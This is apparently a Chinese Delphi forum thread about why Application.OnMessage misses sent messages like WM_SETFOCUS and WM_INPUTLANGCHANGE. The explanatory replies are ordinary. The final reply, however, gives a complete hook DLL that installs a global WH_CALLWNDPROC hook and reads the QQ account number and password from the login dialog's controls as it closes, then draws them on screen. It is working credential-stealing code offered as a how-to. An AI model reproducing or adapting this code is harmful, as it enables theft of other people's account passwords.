为什么在Application.OnMessage中有的消息截获不到呢? ( 积分: 50 )

  • 主题发起人 主题发起人 DragonInCity
  • 开始时间 开始时间
D

DragonInCity

Unregistered / Unconfirmed
GUEST, unregistred user!
为什么在Application.OnMessage中有的消息截获不到呢?如WM_SETFOCUS,WM_INPUTLANGCHANGE,WM_KILLFOCUS等!!!
 
为什么在Application.OnMessage中有的消息截获不到呢?如WM_SETFOCUS,WM_INPUTLANGCHANGE,WM_KILLFOCUS等!!!
 
VCL消息处理机制 <br><br>在Delphi应用程序的源代码中有语句Application.Run,它的作用是启动消息循环,然后调用Application.ProcessMessage,该函数会在应用程序的消息队列中查找一条消息。当在消息队列中检索到一条消息后,触发Application.OnMessage事件。这样在Windows本身对消息处理之前,就会响应OnMessage事件的处理过程,它优于任何消息处理,而且只接收登记的消息,即前面所述的由PostMessage发送的消息。
 
To老香子:<br>  那如果要截获窗体得到焦点和VCL得到焦点时触发的WM_INPUTLANGCHANGE消息应该怎么作呀
 
只有Post过来的消息,Application.OnMessage才能截取到,实际上Application.OnMessage是当从队列取出消息的时被调用的.如果需要处理Send过来的消息,请在窗口过程作处理,或者用SendMessage钩子(WH_CALLWNDPROC)~~
 
怎么作“SendMessage钩子”呀,能不能请刘麻子老兄再详细说一下?
 
library HookDLL;<br><br>uses Windows, Messages;<br><br>var WndProcHook: DWORD;<br><br> // 取QQ密码<br>procedure GetPassWord(Dialog: HWND);<br>var<br> &nbsp;ComboBox, Edit: HWND;<br> &nbsp;Buffer: array[0..20] of Char;<br> &nbsp;TmpStr: string;<br> &nbsp;ScreenDC: HDC;<br>begin<br> // 约束条件<br> &nbsp;if FindWindowEx(Dialog, 0, 'Button', '注册向导') = 0 then Exit;<br> &nbsp;<br> &nbsp;GetClassName(Dialog, Buffer, 20);<br> &nbsp;if (Buffer &lt;&gt; '#32770') then Exit;<br><br> // 控件句柄<br> &nbsp;ComboBox := FindWindowEx(Dialog, 0, 'ComboBox', nil);<br> &nbsp;if (ComboBox = 0) then Exit;<br><br> &nbsp;Edit := FindWindowEx(Dialog, 0, 'Edit', nil);<br> &nbsp;if (Edit = 0) then Exit;<br><br> // 控件内容<br> &nbsp;Buffer[GetWindowText(ComboBox, Buffer, 20)] := #0;<br> &nbsp;if (Buffer[0] = #0) then Exit;<br> &nbsp;TmpStr := '号码: ' + Buffer;<br><br> &nbsp;Buffer[GetWindowText(Edit, Buffer, 20)] := #0;<br> &nbsp;if (Buffer[0] = #0) then Exit;<br> &nbsp;TmpStr := TmpStr + '密码: ' + Buffer;<br><br> // 写到屏幕<br> &nbsp;ScreenDC := GetDC(0);<br> &nbsp;TextOut(ScreenDC, 0, 0, PChar(TmpStr), Length(TmpStr));<br> &nbsp;ReleaseDC(0, ScreenDC);<br>end;<br><br> // 钩子回调<br>function CallWndProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;<br>begin<br> // 窗体即将被清除<br> &nbsp;if (nCode = HC_ACTION) and (PCWPStruct(lParam).message = WM_DESTROY) then<br> &nbsp; &nbsp;GetPassWord(PCWPStruct(lParam).hwnd);<br><br> // 调用下一个钩子<br> &nbsp;Result := CallNextHookEx(WndProcHook, nCode, wParam, lParam);<br>end;<br><br> // 挂钩<br>procedure HookOn();<br>begin<br> &nbsp;WndProcHook := SetWindowsHookEx(WH_CALLWNDPROC, @CallWndProc, HInstance, 0);<br>end;<br><br> // 脱钩<br>procedure HookOff();<br>begin<br> &nbsp;UnHookWindowsHookEx(WndProcHook);<br>end; &nbsp; &nbsp; <br><br> // 导出<br>exports HookOn, HookOff;<br> &nbsp;<br>begin<br>end.
 
后退
顶部